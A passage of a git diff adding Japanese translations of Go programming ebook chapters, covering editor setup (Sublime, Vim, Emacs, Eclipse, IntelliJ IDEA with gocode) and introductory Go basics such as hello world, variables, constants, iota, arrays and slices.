"fmt"`のあとに`fmt.`を入力すると自動的に関数の候補が現れます。 + + もしすでにこのような表示がされる場合は、インストールが成功しており、自動補完が完了しています。 + + もしこのような表示がなされない場合、あなたの`$PATH`が正しく設定されていないのかもしれません。ターミナルを開き、gocodeを入力して、正しく実行できるか確認してください。もしダメであれば`$PATH`が正しく設定されていません。 + (XP向け)たまたまターミナルでの実行が成功することもあります。しかしsublimeは何も知らせてくれないかデコードエラーが発生します。sublime text3とconvert utf8プラグインを試してみてください。 + + 4. MacOSではすでに$GOROOT, $GOPATH, $GOBINが設定されていても自動的にはどうすればよいか教えてくれません。 + + sublimeにてcommand + 9を押し、envを入力して$PATH, $GOROOT, $GOPATH, $GOBINといった変数を確認します。もしなければ、以下の手順に従ってください。 + + まず下のシンボリックリンクを作成し、Terminalで直接sublimeを起動します + + ln -s /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl /usr/local/bin/sublime + + 5. プロジェクトのサポート、sublimeにプロジェクト自身のpkgライブラリのサポートを示します。二種類の基本的な実装があります + + ひとつは gosublime プラグインの `Setting - user` の設定 + + { + "env": { "GOPATH": "$HOME/golang:$GS_GOPATH" } + } + + `$GS_GOPATH` は gosublime の仮想的な環境変数です。自動的に`.go`ファイルが存在する `~/go/src` を探し出すことで、 `~/go/` をプロジェクトのパスと推測し、自動的に `GOPATH` を適用します。 + + もうひとつは、sublime プロジェクトの保存です。 project_name.sublime-project を修正して項目を追加します + + + "settings": { + "GoSublime": { + "env": { + "GOPATH": "$HOME/golang/pwd" // ここをプロジェクトのパスに修正 + } + } + }, + + "folders"{... + + + +## Vim +Vimはviから発展したテキストエディタです。コード補完、コンパイルまたエラージャンプなど、プログラミングに特化した機能が豊富です。広くプログラマに使用されています。 + +![](images/1.4.vim.png?raw=true) + +図1.9 VIMエディタのGoの自動補完画面 + + 1. vimハイライト表示の設定 + + cp -r $GOROOT/misc/vim/* ~/.vim/ + + 2. ~/.vimrcファイルで文法のハイライト表示を追加します + + filetype plugin indent on + syntax on + + 3. [Gocode](https://github.com/nsf/gocode/)をインストールします + + go get -u github.com/nsf/gocode + + gocodeはデフォルトで`$GOBIN`の下にインストールされています。 + + 4. [Gocode](https://github.com/nsf/gocode/)を設定します。 + + ~ cd $GOPATH/src/github.com/nsf/gocode/vim + ~ ./update.bash + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + + >gocode setの2つのパラメータの意味を説明します: + > + >propose-builtins:はGoのビルトイン関数を補完するかです。タイプは定数です。デフォルトはfalseで、表示しません。 + > + >lib-path:デフォルトで、gocodeは**$GOPATH/pkg/$GOOS_$GOARCH**と**$GOROOT/pkg/$GOOS_$GOARCH**ディレクトリのパッケージを検索するだけです。当然この設定には私達の外側のlibを検索できるようパスを設定することができます。 + + + 5. おめでとうございます。インストール完了です。あなたは今から`:e main.go`でGoで開発する面白さを体験することができます。 + +より多くのVIM 設定は、[リンク](http://monnand.me/p/vim-golang-environment/zhCN/)をご参照ください。 + +## Emacs +Emacsは伝説の神器です。彼女はエディタであるだけでなく、統合環境でもあります。または開発環境の集大成と呼んでもよいかもしれません。これらの機能はユーザの身を万能のオペレーティングシステムに置きます。 + + ![](images/1.4.emacs.png?raw=true) + +図1.10 EmacsでGoを編集するメイン画面 + +1. Emacsのハイライト表示設定 + + cp $GOROOT/misc/emacs/* ~/.emacs.d/ + +2. [Gocode](https://github.com/nsf/gocode/)をインストール + + go get -u github.com/nsf/gocode + + gocodeはデフォルトで`$GOBIN`の下にインストールされます。 + +3. [Gocode](https://github.com/nsf/gocode/)を設定 + + + ~ cd $GOPATH/src/github.com/nsf/gocode/emacs + ~ cp go-autocomplete.el ~/.emacs.d/ + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" // あなたのパスに置き換えてください。 + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + +4. [Auto Completion](http://www.emacswiki.org/emacs/AutoComplete)をインストールする必要があります。 + + AutoCompleteをダウンロードして解凍します。 + + ~ make install DIR=$HOME/.emacs.d/auto-complete + + ~/.emacsファイルを設定します。 + + ;;auto-complete + (require 'auto-complete-config) + (add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict") + (ac-config-default) + (local-set-key (kbd "M-/") 'semantic-complete-analyze-inline) + (local-set-key "." 'semantic-complete-self-insert) + (local-set-key ">" 'semantic-complete-self-insert) + + 詳細情報はこちらを参考にしてください:http://www.emacswiki.org/emacs/AutoComplete + +5. .emacsを設定します。 + + ;; golang mode + (require 'go-mode-load) + (require 'go-autocomplete) + ;; speedbar + ;; (speedbar 1) + (speedbar-add-supported-extension ".go") + (add-hook + 'go-mode-hook + '(lambda () + ;; gocode + (auto-complete-mode 1) + (setq ac-sources '(ac-source-go)) + ;; Imenu & Speedbar + (setq imenu-generic-expression + '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1) + ("func" "^func *\\(.*\\) {" 1))) + (imenu-add-to-menubar "Index") + ;; Outline mode + (make-local-variable 'outline-regexp) + (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....") + (outline-minor-mode 1) + (local-set-key "\M-a" 'outline-previous-visible-heading) + (local-set-key "\M-e" 'outline-next-visible-heading) + ;; Menu bar + (require 'easymenu) + (defconst go-hooked-menu + '("Go tools" + ["Go run buffer" go t] + ["Go reformat buffer" go-fmt-buffer t] + ["Go check buffer" go-fix-buffer t])) + (easy-menu-define + go-added-menu + (current-local-map) + "Go tools" + go-hooked-menu) + + ;; Other + (setq show-trailing-whitespace t) + )) + ;; helper function + (defun go () + "run current buffer" + (interactive) + (compile (concat "go run " (buffer-file-name)))) + + ;; helper function + (defun go-fmt-buffer () + "run gofmt on current buffer" + (interactive) + (if buffer-read-only + (progn + (ding) + (message "Buffer is read only")) + (let ((p (line-number-at-pos)) + (filename (buffer-file-name)) + (old-max-mini-window-height max-mini-window-height)) + (show-all) + (if (get-buffer "*Go Reformat Errors*") + (progn + (delete-windows-on "*Go Reformat Errors*") + (kill-buffer "*Go Reformat Errors*"))) + (setq max-mini-window-height 1) + (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t)) + (progn + (erase-buffer) + (insert-buffer-substring "*Go Reformat Output*") + (goto-char (point-min)) + (forward-line (1- p))) + (with-current-buffer "*Go Reformat Errors*" + (progn + (goto-char (point-min)) + (while (re-search-forward "" nil t) + (replace-match filename)) + (goto-char (point-min)) + (compilation-mode)))) + (setq max-mini-window-height old-max-mini-window-height) + (delete-windows-on "*Go Reformat Output*") + (kill-buffer "*Go Reformat Output*")))) + ;; helper function + (defun go-fix-buffer () + "run gofix on current buffer" + (interactive) + (show-all) + (shell-command-on-region (point-min) (point-max) "go tool fix -diff")) + +6. おめでとうございます。今からあなたはこの神器を使ってGo開発の楽しみを体験できます。デフォルトのspeedbarは閉じています。もし開く場合は ;; (speedbar 1) の前のコメントを取り去るか、*M-x speedbar*を手動で起動してください。 + +## Eclipse +Eclipseも非常によく使われる開発ツールです。以下ではEclipseを使ってどのようにGoプログラムを編集するかご紹介します。 + + ![](images/1.4.eclipse1.png?raw=true) + +図1.11 EclipseでのGo編集のメイン画面 + +1. まず[Eclipse](http://www.eclipse.org/)をダウンロードしてインストールします。 + +2. [goclipse](https://code.google.com/p/goclipse/)プラグインをダウンロードします。 + + http://code.google.com/p/goclipse/wiki/InstallationInstructions + +3. gocodeをダウンロードして、goのコード補完を表示させます。 + + gocodeのgithubアドレス: + + https://github.com/nsf/gocode + + windowsではgitをインストールする必要があります。通常は[msysgit](https://code.google.com/p/msysgit/)を使います。 + + cmdでインストールを行います: + + go get -u github.com/nsf/gocode + + 以下のコードをダウンロードし、直接go buildでコンパイルしてもかまいません。この場合はgocode.exeが生成されます。 + +4. [MinGW](http://sourceforge.net/projects/mingw/files/MinGW/)をダウンロードして要求に従いインストールしてください。 + +5. プラグイン設定 + + Windows->Reference->Go + + (1).Goのコンパイラを設定します。 + + ![](images/1.4.eclipse2.png?raw=true) + + 図1.12 Goの基本情報を設定します。 + + + (2).Gocodeを設定します(オプション、コード補完)、Gocodeのパスは事前に生成したgocode.exeファイルを設定します。 + + ![](images/1.4.eclipse3.png?raw=true) + + 図1.13 gocode情報を設定します。 + + (3).GDBを設定します(オプション、テスト用)、GDBのパスはMingGWのインストールディレクトリ下のgdb.exeファイルを設定します。 + + ![](images/1.4.eclipse4.png?raw=true) + + 図1.14 GDB情報の設定 + +6. テストが成功するか + + goプロジェクトを一つ新規作成して、hello.goを作成します: + + ![](images/1.4.eclipse5.png?raw=true) + + 図1.15 プロジェクトの新規作成とファイルの編集 + + テストの実行(consoleでコマンドを入力する必要があります): + + ![](images/1.4.eclipse6.png?raw=true) + + 図1.16 Goプログラムのテスト + +## IntelliJ IDEA +Javaに親しい読者はideaには不慣れだと思います、ideaはプラグインを通してgo言語のシンタックスハイライト、コード補完およびリビルドをサポートしています。 + +1. ideaを先にダウンロードします。ideaはマルチプラットフォームをサポートしています:win,mac,linux、もしお金があれば正式版を購入します、もし無ければ、コミュニティの無料版を使ってください。Go言語を開発するだけであれば無料版で十分事足ります。 + + ![](images/1.4.idea1.png?raw=true) + +2. Goプラグインをインストールし、FileメニューのSettingをクリックします。Pluginsを探したら、Browser repoボタンをクリックします。中国国内のユーザはおそらくエラーが出るかもしれませんが、自分で解決してくれよな。 + + ![](images/1.4.idea3.png?raw=true) + +3. この時いくつものプラグインが見つかります。Golangを検索して、download and installをダブルクリックしてください。golangの行末にDownloadedの表示が現れるのを待って、OKをクリックします。 + + ![](images/1.4.idea4.png?raw=true) + + その後Applyをクリックすると、IDEが再起動を要求します。 + +4. 再起動が完了し、新規プロジェクトを作成すると、golangプロジェクトが作成可能であることがお分かりいただけるかとおもいます: + + ![](images/1.4.idea5.png?raw=true) + + 次に、go sdkの場所を入力するよう促されるかもしれません。普段はいつもC:\Goにインストールされています。Linuxとmacは自分のインストールディレクトリの設定にしたがって、ディレクトリを選択すれば大丈夫です。 + +## links + * [目次]() + * 前へ: [Goのコマンド](<01.3.md>) + * 次へ: [概要](<01.5.md>) diff --git a/ja/ebook/01.5.md b/ja/ebook/01.5.md new file mode 100644 index 00000000..55a7e43a --- /dev/null +++ b/ja/ebook/01.5.md @@ -0,0 +1,8 @@ +# 1.5 概要 + +この章では主にどのようにしてGoをインストールするかについてご紹介しました。Goは3つの種類のインストール方法があります:ソースコードインストール、標準パッケージインストール、サードパーティツールによるインストールです。インストール後開発環境を整え、ローカルの`$GOPATH`を設定します。`$GOPATH`設定を通じて読者はプロジェクトを作成することができます。次にどのようにプロジェクトをコンパイルするのか説明しました。アプリケーションのインストールといった問題はたくさんのGoコマンドを使用する必要があります。そのため、Goで日常的に用いられるコマンドツールについてもご説明しました。コンパイル、インストール、整形、テストなどのコマンドです。最後にGoの開発ツールについてご紹介しました。現在多くのGoの開発ツールには:LiteIDE、sublime、VIM、Emacs、Eclipse、Ideaといったツールがあります。読者は自分が一番慣れ親しんだツールを設定することができます。便利なツールで素早くGoアプリケーションを開発できるよう願っています。 + +## links + * [目次]() + * 前へ: [Goの開発ツール](<01.4.md>) + * 次へ: [Go言語の基礎](<02.0.md>) diff --git a/ja/ebook/02.0.md b/ja/ebook/02.0.md new file mode 100644 index 00000000..0a101f13 --- /dev/null +++ b/ja/ebook/02.0.md @@ -0,0 +1,19 @@ +# 2 Go言語の基礎 + +GoはCに似たコンパイラ型言語です。ですが、このコンパイル速度は非常に速く、この言語のキーワードもたったの25個です。英文よりも少し少なく勉強するにはかなり簡単です。まずはこれらのキーワードがどのようなものか見てみることにしましょう: + + break default func interface select + case defer go map struct + chan else goto package switch + const fallthrough if range type + continue for import return var + +この章では、この言語の基礎勉強にあなたを連れていきます。各章の紹介を通じて、Goの世界がどれほどまでに簡潔で絶妙にデザインされているかお分かりいただけるはずです。Goを書くことはとても楽しいことです。後から振り返ると、この25個のキーワードがどれだけフレンドリーか理解するはずです。 + +## 目次 +![](images/navi2.png?raw=true) + +## links + * [目次]() + * 前へ: [第一章概要](<01.5.md>) + * 次へ: [こんにちは、Go](<02.1.md>) diff --git a/ja/ebook/02.1.md b/ja/ebook/02.1.md new file mode 100644 index 00000000..08ea60d9 --- /dev/null +++ b/ja/ebook/02.1.md @@ -0,0 +1,52 @@ +# 2.1 こんにちは、Go + +アプリケーションを書き始める前に、まず基本となるプログラムから始めます。家を建てようとする前に建物の基礎がどういったものかわからないのと同じように、プログラムの編集もどのように始めたらよいのかわからないものです。そのため、本章では、最も基本的な文法を学習し、Goプログラムを実行してみます。 + +## プログラム + +これは伝統なのですが、大部分の言語を学習するときは、どのようにして`hello world`を出力するかというプログラムを書くことを学びます。 + +用意はいいですか?Let's Go! + + package main + + import "fmt" + + func main() { + fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい\n") + } + +以下のように出力されます: + + Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい + +## 説明 +まず我々はある概念を理解する必要があります。Goプログラムは`package`で構成されています。 + +`package `(我々の例では`package main`)の1行は現在のファイルがどのパッケージの属しているかを表しています。またパッケージ`main`はこれが独立して実行できるパッケージであることを示しています。コンパイル後実行可能ファイルが生成されます。`main`パッケージを除いて、他のパッケージは最後には`*.a`というファイルが生成され(パッケージファイルとも呼ばれます。)、`$GOPATH/pkg/$GOOS_$GOARCH`に出力されます。(Macでは`$GOPATH/pkg/darwin_amd64`になります。) + +>それぞれの独立して実行できるGoプログラムは必ず`package main`の中に含まれます。この`main`パッケージには必ずインターフェースとなる`main`関数が含まれます。この関数には引数がなく、戻り値もありません。 + +`Hello, world...`と出力するために、我々は`Printf`関数を用います。この関数は`fmt`パッケージに含まれるため、我々は3行目でシステム固有の`fmt`パッケージを導入しています:`import "fmt"`。 + +パッケージの概念はPythonのpackageに似ています。これらには特別な利点があります:モジュール化(あなたのプログラムを複数のモジュールに分けることができます)と再利用性(各モジュールはすべて他のアプリケーションプログラムで再利用することができます)。ここではパッケージの概念を理解するにとどめ、あとで自分のパッケージを書くことにしましょう。 + +5行目では、キーワード`func`を通じて`main`関数を定義しています。関数の中身は`{}`(大括弧)の中に書かれます。我々が普段CやC++、Javaを書くのと同じです。 + +`main`関数にはなんの引数もありません。あとでどのように引数があったり、0個または複数の値を返す関数を書くか学ぶことにしましょう。 + +6行目では、`fmt`パッケージに定義された`Printf`関数をコールします。この関数は`.`の形式でコールされます。この点はPythonとよく似ています。 + +>上述の通り、パッケージ名とパッケージが存在するディレクトリは異なっていてもかまいません。ここでは``がディレクトリ名ではなく`package `で宣言されるパッケージ名とします。 + +最後に、我々が出力した内容に多くの非ASCIIコードが含まれていることにお気づきかもしれません。実際、Goは生まれながらにしてUTF-8をサポートしており、いかなる文字コードも直接出力することができます。UTF-8の中の任意のコードポイントを識別子にしても構いません。 + + +## 結論 + +Goは`package`(Pythonのモジュールに似ています)を使用してコードを構成します。`main.main()`関数(この関数は主にメインパッケージにあります)は個別に独立した実行可能プログラムのインターフェースになります。GoはUTF-8文字列と識別子(なぜならUTF-8の発明者もGoの発明者と同じだからです。)を使用しますので、はじめから多言語サポートを有しています。 + +## links + * [目次]() + * 前へ: [Go言語の基礎](<02.0.md>) + * 次へ: [Goの基礎](<02.2.md>) diff --git a/ja/ebook/02.2.md b/ja/ebook/02.2.md new file mode 100644 index 00000000..b4736d7f --- /dev/null +++ b/ja/ebook/02.2.md @@ -0,0 +1,466 @@ +# 2.2 Go基礎 + +この節では変数、定数、Goの内部クラスの定義と、Goプログラムの設計におけるテクニックをご紹介します。 + +## 変数の定義 + +Go言語では変数は数多くの方法で定義されます。 + +`var`キーワードを使用することはGoの最も基本的な変数の定義方法です。C言語と異なり、Goでは変数の型を変数の後に置きます。 + + //"variableName"という名前で定義します。型は"type"です。 + var variableName type + +複数の変数を定義します。 + + //すべて"type"型の3つの変数を定義します。 + var vname1, vname2, vname3 type + +変数を定義し、初期化します。 + + //"variableName"の変数を"value"で初期化します。型は"type"です。 + var variableName type = value + +複数の変数を同時に初期化します。 + + /* + すべて"type"型の3つの変数を定義し、それぞれ個別に初期化を行います。 + vname1はv1,vname2はv2,vname3はv3 + */ + var vname1, vname2, vname3 type= v1, v2, v3 + +あなたは上述の定義が面倒だと思いますか?大丈夫、Go言語の設計者もわかっています。少し簡単に書くこともできます。直接型の宣言を無視することができるので、上のコードはこのようにも書けます: + + /* + 3つの変数を定義し、それぞれ個別に初期化する。 + vname1はv1,vname2はv2,vname3はv3 + このあとGoは代入される値の肩に従ってそれぞれ初期化を行います。 + */ + var vname1, vname2, vname3 = v1, v2, v3 + +これでもまだ面倒ですか?ええ、私もそう思います。更に簡単にしてみましょう。 + + /* + 3つの変数を定義し、それぞれ個別に初期化します。 + vname1はv1,vname2はv2,vname3はv3 + コンパイラは初期化する値に従って自動的にふさわしい型を導き出します。 + */ + vname1, vname2, vname3 := v1, v2, v3 + +これなら非常に簡潔になったでしょう?`:=`の記号は`var`と`type`に直接取って代わるものです。これらの形式を短縮宣言と呼びます。ただしこれにはひとつ制限があります。これらは関数の内部でしか使用できません。関数の外で使用するとコンパイルが通らなくなります。そのため、一般的には`var`方式でグローバル変数が定義されます。 + +`_`(アンダースコア)は特別な変数名です。どのような値もすべて捨てられてしまいます。この例では`35`という値を`b`に与えますが、同時に`34`は失われてしまいます。 + + _, b := 34, 35 + +Goはすでに宣言されている未使用の変数をコンパイル時にエラーとして出力します。例えば下のコードはエラーを一つ生成します。`i`は宣言されましたが使用されていません。 + + package main + + func main() { + var i int + } + +## 定数 + +いわゆる定数というのは、プログラムがコンパイルされる段階で値が決定されます。また、プログラムが実行される時には値の変更は許されません。定数には数値、bool値または文字列等の型を定義することができます。 + +この文法は以下の通りです: + + const constantName = value + //もし必要であれば、定数の型を明示することもできます: + const Pi float32 = 3.1415926 + +ここでは定数の宣言の例を示します: + + const Pi = 3.1415926 + const i = 10000 + const MaxThread = 10 + const prefix = "astaxie_" + +Go の定数は一般的なプログラミング言語と異なり、かなり多くの小数点以下の桁を指定することができます(たとえば200桁など)、 +float32に自動的な32bitへの短縮を指定したり、float64に自動的な64bitへの短縮を指定するには[リンク](http://golang.org/ref/spec#Constants)をご参照ください。 + +## ビルトイン基本型 + +### Boolean + +Goではbool値の型は`bool`です。値は`true`もしくは`false`です。デフォルト値は`false`です。 + + // コード例 + var isActive bool // グローバル変数の宣言 + var enabled, disabled = true, false // 型を省略した宣言 + func test() { + var available bool // 通常の宣言 + valid := false // 短縮宣言 + available = true // 代入操作 + } + + +### 数値型 + +整数型には符号付きと符号無しの2つがあります。Goはまた`int`と`uint`をサポートしています。この2つの型の長さは同じですが、実際の長さは異なるコンパイラによって決定されます。~~現在のgccとgccgoコンパイラは32bitと64bitプラットフォーム上では常に32bitで`int`と`uint`を表示しますが、将来64bitプラットフォーム上では64bitまで拡張されるかもしれません~~。Goでは直接bit数を指定できる型もあります:`rune`, `int8`, `int16`, `int32`, `int64`と`byte`, `uint8`, `uint16`, `uint32`, `uint64`です。この中で`rune`は`int32`のエイリアスです。`byte`は`uint8`のエイリアスです。 + +>注意しなければならないのは、これらの型の変数間は相互に代入または操作を行うことができないということです。コンパイル時にコンパイラはエラーを発生させます。 +> +>下のコードはエラーが発生します。 +> +>> var a int8 + +>> var b int32 + +>> c:=a + b +> +>また、intの長さは32bitですが、intとint32もお互いに利用することはできません。 + +浮動小数点の型には`float32`と`float64`の二種類があります(`float`型はありません。)。デフォルトは`float64`です。 + +これで全てですか?No! Goは複素数もサポートしています。このデフォルト型は`complex128`(64bit実数+64bit虚数)です。もしもう少し小さいのが必要であれば、`complex64`(32bit実数+32bit虚数)もあります。複素数の形式は`RE + IMi`です。この中で`RE`が実数部分、`IM`が虚数部分になります。最後の`i`は虚数単位です。以下に複素数の使用例を示します: + + var c complex64 = 5+5i + //output: (5+5i) + fmt.Printf("Value is: %v", c) + + +### 文字列 + +前の章で述べた通り、Goの文字列はすべて`UTF-8`コードが採用されています。文字列は一対のダブルクォーテーション(`""`)またはバッククォート(`` ` `` `` ` ``)で括られることで定義されます。この型は`string`です。 + + //コード例 + var frenchHello string // 文字列変数の宣言の一般的な方法 + var emptyString string = "" // 文字列変数を一つ宣言し、空文字列で初期化する。 + func test() { + no, yes, maybe := "no", "yes", "maybe" // 短縮宣言、同時に複数の変数を宣言 + japaneseHello := "Konichiwa" // 同上 + frenchHello = "Bonjour" // 通常の代入 + } + +Goの文字列は変更することができません。例えば下のコードはコンパイル時にエラーが発生します。 + + var s string = "hello" + s[0] = 'c' + + +ただし、本当に変更したくなったらどうしましょうか?ここでは以下のコードで実現します: + + s := "hello" + c := []byte(s) // 文字列 s を []byte 型にキャスト + c[0] = 'c' + s2 := string(c) // もう一度 string 型にキャストし直す + fmt.Printf("%s\n", s2) + + +Goでは`+`演算子を使って文字列を連結することができます: + + s := "hello," + m := " world" + a := s + m + fmt.Printf("%s\n", a) + +文字列の修正もこのように書けます: + + s := "hello" + s = "c" + s[1:] // 文字列を変更することはできませんが、スライスは行えます。 + fmt.Printf("%s\n", s) + +もし複数行の文字列を宣言したくなったらどうしましょうか?この場合`` ` ``で宣言することができます: + + m := `hello + world` + +`` ` `` で括られた文字列はRaw文字列です。すなわち、文字列はコード内の形式がそのままプリント時の形式になります。文字列の変更はありません。開業はそのまま出力されます。 + +### エラー型 +Goにはビルトインの`error`型があります。専らエラー情報の処理に使用されます。Goの`package`の中にはエラー処理を行う`errors`というパッケージがあります。 + + err := errors.New("emit macho dwarf: elf header corrupted") + if err != nil { + fmt.Print(err) + } + +### Goデータの低レイヤの保存 + +下の図は[Russ Cox Blog](http://research.swtch.com/)の中の一文で紹介されている[Goデータ構造](http://research.swtch.com/godata)の文章です。これらの基本型は低レイヤでメモリを分配し、対応する値を保存していることが見て取れるとおもいます。 + +![](images/2.2.basic.png?raw=true) + +図2.1 Goデータ形式の保存 + +## テクニック + +### グループ化による宣言 + +Go言語では、複数の定数・変数を宣言する場合、または複数のパッケージをインポートする場合、グループ化による方法で宣言することができます。 + +例えば以下のコード: + + import "fmt" + import "os" + + const i = 100 + const pi = 3.1415 + const prefix = "Go_" + + var i int + var pi float32 + var prefix string + +グループ化によって以下のような形式になります: + + import( + "fmt" + "os" + ) + + const( + i = 100 + pi = 3.1415 + prefix = "Go_" + ) + + var( + i int + pi float32 + prefix string + ) + +>他の値や`iota`に設定されているものを除いて、各`const`グループのはじめの定数はデフォルトで0となります。二番目以降の定数は前の定数の値がデフォルト値となります。もし前の定数の値が`iota`であれば、直後の値も`iota`になります。 + +### iota列挙型 + +Goでは`iota`というキーワードがあります。このキーワードは`enum`を宣言する際に使用されます。このデフォルト値は0からはじまり、順次1が追加されます: + + const( + x = iota // x == 0 + y = iota // y == 1 + z = iota // z == 2 + w // 定数の宣言で値を省略した場合、デフォルト値は前の値と同じになります。ここではw = iotaと宣言していることと同じになりますので、w == 3となります。実は上のyとzでもこの"= iota"は省略することができます。 + ) + + const v = iota // constキーワードが出現する度に、iotaは置き直されます。ここではv == 0です。 + + const ( + e, f, g = iota, iota, iota //e=0,f=0,g=0 iotaの同一行は同じです + ) + +### Goプログラムのデザインルール +Goがこのように簡潔なのは、それがいくつかのデフォルトの行為を持っているからです: +- 大文字で始まる変数はエクスポート可能です。つまり、他のパッケージから読むことができる、パブリックな変数だということです。対して小文字で始まる変数はエクスポートできません。これはプライベート変数です。 +- 大文字で始まる関数も同じです。`class`の中で`public`キーワードによってパブリック関数となっているのと同じです。対して小文字で始まる関数は`private`キーワードのプライベート関数です。 + +## array、slice、map + +### array +`array`は配列です。この定義は以下のようになります: + + var arr [n]type + +`[n]type`の中で、`n`は配列の長さを表しています。`type`は保存する要素の型を示しています。配列に対する操作は他の言語とよく似ていて、どれも`[]`を通して値の取得および代入を行います。 + + var arr [10]int // int型の配列を宣言します。 + arr[0] = 42 // 配列のインデックスは0からはじまります。 + arr[1] = 13 // 代入操作 + fmt.Printf("The first element is %d\n", arr[0]) // データを取得して、42を返します。 + fmt.Printf("The last element is %d\n", arr[9]) //値が代入されていない最後の要素を返します。デフォルトでは0が返ります。 + +長さも配列の一部ですので、`[3]int`と`[4]int`は異なる型になります。配列も長さを変えることはできません。配列間の代入は値渡しです。つまり、一つの配列が関数の引数となった場合、渡されるのは実はこの配列のコピーであり、ポインタではありません。もしポインタを使いたい場合は、この後にご紹介する`slice`型をご利用ください。 + +配列はもうひとつの`:=`で宣言することができます。 + + a := [3]int{1, 2, 3} // 長さが3のintの配列を宣言します。 + + b := [10]int{1, 2, 3} // 長さが10のint配列を宣言します。この中で3つの要素の初期値は1、2、3で、そのほかのデフォルトは0です。 + + c := [...]int{4, 5, 6} // 長さを`...`で省略することもできます。Goは自動で要素数から長さを計算します。 + +もしあなたが「配列に配列を込めたい場合は実現できますか?」と問うならば、当然ですとも、とお応えしましょう。Goはネストした配列をサポートしています。例えば下のコードでは二次元配列を宣言しています: + + // 二次元配列を一つ宣言します。この配列は2つの配列を要素としており、各配列には4つのint型の要素が含まれます。 + doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} + + // 上の宣言は簡略化できます。直接内部の型を省略しています。 + easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} + +配列の状態は以下のとおりです: + +![](images/2.2.array.png?raw=true) + +図2.2 多次元配列のマッピング関係 + + +### slice + +多くのアプリケーションでは、配列はあまりわたしたちの要求を満たしてはくれません。配列を初期化する場合、どれぐらいの大きさの配列が必要かわからないからです。そのため、"動的な配列"が必要となります。Goではこのようなデータ構造を`slice`と呼びます。 + +`slice`は本当の意味での動的な配列ではありません。これは単なる参照型です。`slice`は常に低レイヤの`array`を指しています。`slice`の宣言も`array`と同様に長さを指定する必要はありません。 + + // arrayの宣言と同じですが、長さは必要ありません。 + var fslice []int + +次に`slice`を宣言すると同時にデータを初期化します: + + slice := []byte {'a', 'b', 'c', 'd'} + +`slice`はひとつの配列またはすでに存在する`slice`の中から宣言することができます。`slice`は`array[i:j]`で取得することができます。この中で`i`は配列の開始位置です。`j`は終了位置です。ただし`array[j]`は含みません。長さは`j-i`となります。 + + // 10個の要素を宣言します。要素の型はbyteの配列です。 + var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + + // byteを含む2つのsliceを宣言します + var a, b []byte + + // aポインタ配列の3つ目の要素から始まり、5つ目の要素まで + a = ar[2:5] + //現在aの持つ要素は:ar[2]、ar[3]とar[4]です。 + + // bは配列arのもう一つのsliceです。 + b = ar[3:5] + // bの要素は:ar[3]とar[4]です。 + +>`slice`と配列は宣言時に区別されますのでご注意ください:配列を宣言するとき、中括弧の中で配列の長さを明示するかまたは`...`で自動的に長さを計算します。一方`slice`を宣言する時は、中括弧内には文字はありません。 + +これらのデータ構造は以下のようになっています。 + +![](images/2.2.slice.png?raw=true) + +図2.3 sliceとarrayの対応関係図 + +sliceには便利な操作があります + + - `slice`のデフォルト開始位置は0です。`ar[:n]`などは`ar[0:n]`と等価です。 + - `slice`の2つ目の値のデフォルトは配列の長さです。`ar[n:]`は`ar[n:len(ar)]`等価です。 + - もし配列の中から直接`slice`を取り出す場合は、`ar[:]`というような形で指定することができます。なぜならデフォルトのはじめの値は0で2つ目は配列の長さだからです。すなわち、`ar[0:len(ar)]`と等価となります。 + +ここではより多くの`slice`の操作についていくつか例を挙げます: + + // 配列を宣言 + var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + // sliceを2つ宣言 + var aSlice, bSlice []byte + + // 便利な操作のデモンストレーション + aSlice = array[:3] // aSlice = array[0:3] と同じ。aSliceには以下の要素が含まれます: a,b,c + aSlice = array[5:] // aSlice = array[5:10] と同じ。aSliceには以下の要素が含まれます: f,g,h,i,j + aSlice = array[:] // aSlice = array[0:10] と同じ。この場合aSliceにはすべての要素が含まれます。 + + // sliceからsliceを取り出す + aSlice = array[3:7] // aSliceには以下の要素が含まれます: d,e,f,g,len=4,cap=7 + bSlice = aSlice[1:3] // bSlice にはaSlice[1], aSlice[2] が含まれそれぞれの要素は以下のとおりです: e,f + bSlice = aSlice[:3] // bSlice には aSlice[0], aSlice[1], aSlice[2] が含まれます。それぞれ以下のとおりです: d,e,f + bSlice = aSlice[0:5] // sliceのsliceに対してcapの範囲内で拡張することができます。この時bSliceには以下の要素が含まれます:d,e,f,g,h + bSlice = aSlice[:] // bSliceにはaSliceのすべての要素が含まれます: d,e,f,g + +`slice`は参照型ですので、この中の要素の値を変更すると、そのほかのすべての参照でも値が変更されます。たとえば上の`aSlice`と`bSlice`で、`aSlice`の中の要素を変更すると、`bSlice`の対応する値も同時に変更されます。 + +概念上では、`slice`は構造体です。この構造体には3つの要素が含まれます:  +- 一つはポインタです。配列中の`slice`が示す開始位置を指しています。 +- 長さ、つまり`slice`の長さです。 +- 最大の長さ、`slice`の開始位置から配列の最後の位置までの長さです。 + + Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + Slice_a := Array_a[2:5] + +上のコードの正しい保存構造は下の図に示す通りです。 + +![](images/2.2.slice2.png?raw=true) + +図2.4 sliceに対応する配列の情報 + +`slice`に対しては、いくつかの便利なビルトイン関数があります: + +- `len` `slice`の長さを取得します。 +- `cap` `slice`の最大容量を取得します。 +- `append` 